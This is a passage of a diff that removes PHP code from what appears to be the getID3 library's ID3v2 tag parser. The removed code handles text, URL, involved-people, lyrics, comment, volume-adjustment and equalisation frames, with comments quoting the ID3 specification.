'ISO-8859-1': - case 'UTF-8': - default: - $wordsize = 1; - break; - } - $Txxx_elements = array(); - $Txxx_elements_start_offset = 0; - for ($i = 0; $i < strlen($parsedFrame['data']); $i += $wordsize) { - if (substr($parsedFrame['data'], $i, $wordsize) == str_repeat("\x00", $wordsize)) { - $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); - $Txxx_elements_start_offset = $i + $wordsize; - } - } - $Txxx_elements[] = substr($parsedFrame['data'], $Txxx_elements_start_offset, $i - $Txxx_elements_start_offset); - foreach ($Txxx_elements as $Txxx_element) { - $string = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $Txxx_element); - if (!empty($string)) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $string; - } - } - unset($string, $wordsize, $i, $Txxx_elements, $Txxx_element, $Txxx_elements_start_offset); - } - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'WXXX')) || // 4.3.2 WXXX User defined URL link frame - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'WXX'))) { // 4.3.2 WXX User defined URL link frame - // There may be more than one 'WXXX' frame in each tag, - // but only one with the same description - //
                              - // Text encoding $xx - // Description $00 (00) - // URL - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); // according to the frame text encoding - $parsedFrame['url'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); // always ISO-8859-1 - $parsedFrame['description'] = $this->RemoveStringTerminator($parsedFrame['description'], $frame_textencoding_terminator); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - - if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); - } - unset($parsedFrame['data']); - - - } elseif ($parsedFrame['frame_name'][0] == 'W') { // 4.3. W??? URL link frames - // There may only be one URL link frame of its kind in a tag, - // except when stated otherwise in the frame description - //
                              - // URL - - $parsedFrame['url'] = trim($parsedFrame['data']); // always ISO-8859-1 - if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback('ISO-8859-1', $info['id3v2']['encoding'], $parsedFrame['url']); - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'IPLS')) || // 4.4 IPLS Involved people list (ID3v2.3 only) - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'IPL'))) { // 4.4 IPL Involved people list (ID3v2.2 only) - // http://id3.org/id3v2.3.0#sec4.4 - // There may only be one 'IPL' frame in each tag - //
                              - // Text encoding $xx - // People list strings - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - } - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($parsedFrame['encodingid']); - $parsedFrame['data_raw'] = (string) substr($parsedFrame['data'], $frame_offset); - - // https://www.getid3.org/phpBB3/viewtopic.php?t=1369 - // "this tag typically contains null terminated strings, which are associated in pairs" - // "there are users that use the tag incorrectly" - $IPLS_parts = array(); - if (strpos($parsedFrame['data_raw'], "\x00") !== false) { - $IPLS_parts_unsorted = array(); - if (((strlen($parsedFrame['data_raw']) % 2) == 0) && ((substr($parsedFrame['data_raw'], 0, 2) == "\xFF\xFE") || (substr($parsedFrame['data_raw'], 0, 2) == "\xFE\xFF"))) { - // UTF-16, be careful looking for null bytes since most 2-byte characters may contain one; you need to find twin null bytes, and on even padding - $thisILPS = ''; - for ($i = 0; $i < strlen($parsedFrame['data_raw']); $i += 2) { - $twobytes = substr($parsedFrame['data_raw'], $i, 2); - if ($twobytes === "\x00\x00") { - $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); - $thisILPS = ''; - } else { - $thisILPS .= $twobytes; - } - } - if (strlen($thisILPS) > 2) { // 2-byte BOM - $IPLS_parts_unsorted[] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $thisILPS); - } - } else { - // ISO-8859-1 or UTF-8 or other single-byte-null character set - $IPLS_parts_unsorted = explode("\x00", $parsedFrame['data_raw']); - } - if (count($IPLS_parts_unsorted) == 1) { - // just a list of names, e.g. "Dino Baptiste, Jimmy Copley, John Gordon, Bernie Marsden, Sharon Watson" - foreach ($IPLS_parts_unsorted as $key => $value) { - $IPLS_parts_sorted = preg_split('#[;,\\r\\n\\t]#', $value); - $position = ''; - foreach ($IPLS_parts_sorted as $person) { - $IPLS_parts[] = array('position'=>$position, 'person'=>$person); - } - } - } elseif ((count($IPLS_parts_unsorted) % 2) == 0) { - $position = ''; - $person = ''; - foreach ($IPLS_parts_unsorted as $key => $value) { - if (($key % 2) == 0) { - $position = $value; - } else { - $person = $value; - $IPLS_parts[] = array('position'=>$position, 'person'=>$person); - $position = ''; - $person = ''; - } - } - } else { - foreach ($IPLS_parts_unsorted as $key => $value) { - $IPLS_parts[] = array($value); - } - } - - } else { - $IPLS_parts = preg_split('#[;,\\r\\n\\t]#', $parsedFrame['data_raw']); - } - $parsedFrame['data'] = $IPLS_parts; - - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; - } - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MCDI')) || // 4.4 MCDI Music CD identifier - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MCI'))) { // 4.5 MCI Music CD identifier - // There may only be one 'MCDI' frame in each tag - //
                              - // CD TOC - - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = $parsedFrame['data']; - } - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ETCO')) || // 4.5 ETCO Event timing codes - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ETC'))) { // 4.6 ETC Event timing codes - // There may only be one 'ETCO' frame in each tag - //
                              - // Time stamp format $xx - // Where time stamp format is: - // $01 (32-bit value) MPEG frames from beginning of file - // $02 (32-bit value) milliseconds from beginning of file - // Followed by a list of key events in the following format: - // Type of event $xx - // Time stamp $xx (xx ...) - // The 'Time stamp' is set to zero if directly at the beginning of the sound - // or after the previous event. All events MUST be sorted in chronological order. - - $frame_offset = 0; - $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - - while ($frame_offset < strlen($parsedFrame['data'])) { - $parsedFrame['typeid'] = substr($parsedFrame['data'], $frame_offset++, 1); - $parsedFrame['type'] = $this->ETCOEventLookup($parsedFrame['typeid']); - $parsedFrame['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'MLLT')) || // 4.6 MLLT MPEG location lookup table - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'MLL'))) { // 4.7 MLL MPEG location lookup table - // There may only be one 'MLLT' frame in each tag - //
                              - // MPEG frames between reference $xx xx - // Bytes between reference $xx xx xx - // Milliseconds between reference $xx xx xx - // Bits for bytes deviation $xx - // Bits for milliseconds dev. $xx - // Then for every reference the following data is included; - // Deviation in bytes %xxx.... - // Deviation in milliseconds %xxx.... - - $frame_offset = 0; - $parsedFrame['framesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 0, 2)); - $parsedFrame['bytesbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 2, 3)); - $parsedFrame['msbetweenreferences'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 5, 3)); - $parsedFrame['bitsforbytesdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 8, 1)); - $parsedFrame['bitsformsdeviation'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], 9, 1)); - $parsedFrame['data'] = substr($parsedFrame['data'], 10); - $deviationbitstream = ''; - while ($frame_offset < strlen($parsedFrame['data'])) { - $deviationbitstream .= getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); - } - $reference_counter = 0; - while (strlen($deviationbitstream) > 0) { - $parsedFrame[$reference_counter]['bytedeviation'] = bindec(substr($deviationbitstream, 0, $parsedFrame['bitsforbytesdeviation'])); - $parsedFrame[$reference_counter]['msdeviation'] = bindec(substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'], $parsedFrame['bitsformsdeviation'])); - $deviationbitstream = substr($deviationbitstream, $parsedFrame['bitsforbytesdeviation'] + $parsedFrame['bitsformsdeviation']); - $reference_counter++; - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYTC')) || // 4.7 SYTC Synchronised tempo codes - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'STC'))) { // 4.8 STC Synchronised tempo codes - // There may only be one 'SYTC' frame in each tag - //
                              - // Time stamp format $xx - // Tempo data - // Where time stamp format is: - // $01 (32-bit value) MPEG frames from beginning of file - // $02 (32-bit value) milliseconds from beginning of file - - $frame_offset = 0; - $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $timestamp_counter = 0; - while ($frame_offset < strlen($parsedFrame['data'])) { - $parsedFrame[$timestamp_counter]['tempo'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - if ($parsedFrame[$timestamp_counter]['tempo'] == 255) { - $parsedFrame[$timestamp_counter]['tempo'] += ord(substr($parsedFrame['data'], $frame_offset++, 1)); - } - $parsedFrame[$timestamp_counter]['timestamp'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4)); - $frame_offset += 4; - $timestamp_counter++; - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USLT')) || // 4.8 USLT Unsynchronised lyric/text transcription - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'ULT'))) { // 4.9 ULT Unsynchronised lyric/text transcription - // There may be more than one 'Unsynchronised lyrics/text transcription' frame - // in each tag, but only one with the same language and content descriptor. - //
                              - // Text encoding $xx - // Language $xx xx xx - // Content descriptor $00 (00) - // Lyrics/text - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - if (strlen($parsedFrame['data']) >= (4 + strlen($frame_textencoding_terminator))) { // shouldn't be an issue but badly-written files have been spotted in the wild with not only no contents but also missing the required language field, see https://github.com/JamesHeinrich/getID3/issues/315 - $frame_language = substr($parsedFrame['data'], $frame_offset, 3); - $frame_offset += 3; - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - $parsedFrame['data'] = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); - $parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $frame_textencoding_terminator); - - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $parsedFrame['language'] = $frame_language; - $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); - } - } else { - $this->warning('Invalid data in frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset']); - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9 SYLT Synchronised lyric/text - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) { // 4.10 SLT Synchronised lyric/text - // There may be more than one 'SYLT' frame in each tag, - // but only one with the same language and content descriptor. - //
                              - // Text encoding $xx - // Language $xx xx xx - // Time stamp format $xx - // $01 (32-bit value) MPEG frames from beginning of file - // $02 (32-bit value) milliseconds from beginning of file - // Content type $xx - // Content descriptor $00 (00) - // Terminated text to be synced (typically a syllable) - // Sync identifier (terminator to above string) $00 (00) - // Time stamp $xx (xx ...) - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - $frame_language = substr($parsedFrame['data'], $frame_offset, 3); - $frame_offset += 3; - $parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['contenttypeid'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['contenttype'] = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']); - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $parsedFrame['language'] = $frame_language; - $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); - - $timestampindex = 0; - $frame_remainingdata = substr($parsedFrame['data'], $frame_offset); - while (strlen($frame_remainingdata)) { - $frame_offset = 0; - $frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator); - if ($frame_terminatorpos === false) { - $frame_remainingdata = ''; - } else { - if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset); - - $frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator)); - if (($timestampindex == 0) && (ord($frame_remainingdata[0]) != 0)) { - // timestamp probably omitted for first data item - } else { - $parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4)); - $frame_remainingdata = substr($frame_remainingdata, 4); - } - $timestampindex++; - } - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10 COMM Comments - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) { // 4.11 COM Comments - // There may be more than one comment frame in each tag, - // but only one with the same language and content descriptor. - //
                              - // Text encoding $xx - // Language $xx xx xx - // Short content descrip. $00 (00) - // The actual text - - if (strlen($parsedFrame['data']) < 5) { - - $this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']); - - } else { - - $frame_offset = 0; - $frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding); - if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) { - $this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding'); - $frame_textencoding_terminator = "\x00"; - } - $frame_language = substr($parsedFrame['data'], $frame_offset, 3); - $frame_offset += 3; - $frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset); - if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) { - $frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00 - } - $parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - $parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']); - $frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator)); - $frame_text = $this->RemoveStringTerminator($frame_text, $frame_textencoding_terminator); - - $parsedFrame['encodingid'] = $frame_textencoding; - $parsedFrame['encoding'] = $this->TextEncodingNameLookup($frame_textencoding); - - $parsedFrame['language'] = $frame_language; - $parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false); - $parsedFrame['data'] = $frame_text; - if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) { - $commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0)); - if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); - } else { - $info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']); - } - } - - } - - } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11 RVA2 Relative volume adjustment (2) (ID3v2.4+ only) - // There may be more than one 'RVA2' frame in each tag, - // but only one with the same identification string - //
                              - // Identification $00 - // The 'identification' string is used to identify the situation and/or - // device where this adjustment should apply. The following is then - // repeated for every channel: - // Type of channel $xx - // Volume adjustment $xx xx - // Bits representing peak $xx - // Peak volume $xx (xx ...) - - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00"); - $frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos); - if (ord($frame_idstring) === 0) { - $frame_idstring = ''; - } - $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); - $parsedFrame['description'] = $frame_idstring; - $RVA2channelcounter = 0; - while (strlen($frame_remainingdata) >= 5) { - $frame_offset = 0; - $frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1)); - $parsedFrame[$RVA2channelcounter]['channeltypeid'] = $frame_channeltypeid; - $parsedFrame[$RVA2channelcounter]['channeltype'] = $this->RVA2ChannelTypeLookup($frame_channeltypeid); - $parsedFrame[$RVA2channelcounter]['volumeadjust'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed - $frame_offset += 2; - $parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1)); - if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) { - $this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value'); - break; - } - $frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8); - $parsedFrame[$RVA2channelcounter]['peakvolume'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume)); - $frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume); - $RVA2channelcounter++; - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12 RVAD Relative volume adjustment (ID3v2.3 only) - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) { // 4.12 RVA Relative volume adjustment (ID3v2.2 only) - // There may only be one 'RVA' frame in each tag - //
                              - // ID3v2.2 => Increment/decrement %000000ba - // ID3v2.3 => Increment/decrement %00fedcba - // Bits used for volume descr. $xx - // Relative volume change, right $xx xx (xx ...) // a - // Relative volume change, left $xx xx (xx ...) // b - // Peak volume right $xx xx (xx ...) - // Peak volume left $xx xx (xx ...) - // ID3v2.3 only, optional (not present in ID3v2.2): - // Relative volume change, right back $xx xx (xx ...) // c - // Relative volume change, left back $xx xx (xx ...) // d - // Peak volume right back $xx xx (xx ...) - // Peak volume left back $xx xx (xx ...) - // ID3v2.3 only, optional (not present in ID3v2.2): - // Relative volume change, center $xx xx (xx ...) // e - // Peak volume center $xx xx (xx ...) - // ID3v2.3 only, optional (not present in ID3v2.2): - // Relative volume change, bass $xx xx (xx ...) // f - // Peak volume bass $xx xx (xx ...) - - $frame_offset = 0; - $frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1)); - $parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1); - $parsedFrame['incdec']['left'] = (bool) substr($frame_incrdecrflags, 7, 1); - $parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8); - $parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - if ($parsedFrame['incdec']['right'] === false) { - $parsedFrame['volumechange']['right'] *= -1; - } - $frame_offset += $frame_bytesvolume; - $parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - if ($parsedFrame['incdec']['left'] === false) { - $parsedFrame['volumechange']['left'] *= -1; - } - $frame_offset += $frame_bytesvolume; - $parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - $frame_offset += $frame_bytesvolume; - $parsedFrame['peakvolume']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - $frame_offset += $frame_bytesvolume; - if ($id3v2_majorversion == 3) { - $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); - if (strlen($parsedFrame['data']) > 0) { - $parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1); - $parsedFrame['incdec']['leftrear'] = (bool) substr($frame_incrdecrflags, 5, 1); - $parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - if ($parsedFrame['incdec']['rightrear'] === false) { - $parsedFrame['volumechange']['rightrear'] *= -1; - } - $frame_offset += $frame_bytesvolume; - $parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - if ($parsedFrame['incdec']['leftrear'] === false) { - $parsedFrame['volumechange']['leftrear'] *= -1; - } - $frame_offset += $frame_bytesvolume; - $parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - $frame_offset += $frame_bytesvolume; - $parsedFrame['peakvolume']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - $frame_offset += $frame_bytesvolume; - } - $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); - if (strlen($parsedFrame['data']) > 0) { - $parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1); - $parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - if ($parsedFrame['incdec']['center'] === false) { - $parsedFrame['volumechange']['center'] *= -1; - } - $frame_offset += $frame_bytesvolume; - $parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - $frame_offset += $frame_bytesvolume; - } - $parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset); - if (strlen($parsedFrame['data']) > 0) { - $parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1); - $parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - if ($parsedFrame['incdec']['bass'] === false) { - $parsedFrame['volumechange']['bass'] *= -1; - } - $frame_offset += $frame_bytesvolume; - $parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume)); - $frame_offset += $frame_bytesvolume; - } - } - unset($parsedFrame['data']); - - - } elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12 EQU2 Equalisation (2) (ID3v2.4+ only) - // There may be more than one 'EQU2' frame in each tag, - // but only one with the same identification string - //
                              - // Interpolation method $xx - // $00 Band - // $01 Linear - // Identification $00 - // The following is then repeated for every adjustment point - // Frequency $xx xx - // Volume adjustment $xx xx - - $frame_offset = 0; - $frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1)); - $frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset); - $frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset); - if (ord($frame_idstring) === 0) { - $frame_idstring = ''; - } - $parsedFrame['description'] = $frame_idstring; - $frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00")); - while (strlen($frame_remainingdata)) { - $frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2; - $parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true); - $frame_remainingdata = substr($frame_remainingdata, 4); - } - $parsedFrame['interpolationmethod'] = $frame_interpolationmethod; - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12 EQUA Equalisation (ID3v2.3 only) - (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) { // 4.13 EQU Equalisation (ID3v2.2 only) - // There may only be one 'EQUA' frame in each tag - //
                              - // Adjustment bits $xx - // This is followed by 2 bytes + ('adjustment bits' rounded up to the - // nearest byte) for every equalisation band in the following format, - // giving a frequency range of 0 - 32767Hz: - // Increment/decrement %x (MSB of the Frequency) - // Frequency (lower 15 bits) - // Adjustment $xx (xx ...) - - $frame_offset = 0; - $parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1); - $frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8); - - $frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset); - while (strlen($frame_remainingdata) > 0) { - $frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2)); - $frame_incdec = (bool) substr($frame_frequencystr, 0, 1); - $frame_frequency = bindec(substr($frame_frequencystr, 1, 15)); - $parsedFrame[$frame_frequency]['incdec'] = $frame_incdec; - $parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes)); - if ($parsedFrame[$frame_frequency]['incdec'] === false) { - $parsedFrame[$frame_frequency]['adjustment'] *= -1; - } - $frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes); - } - unset($parsedFrame['data']); - - - } elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13 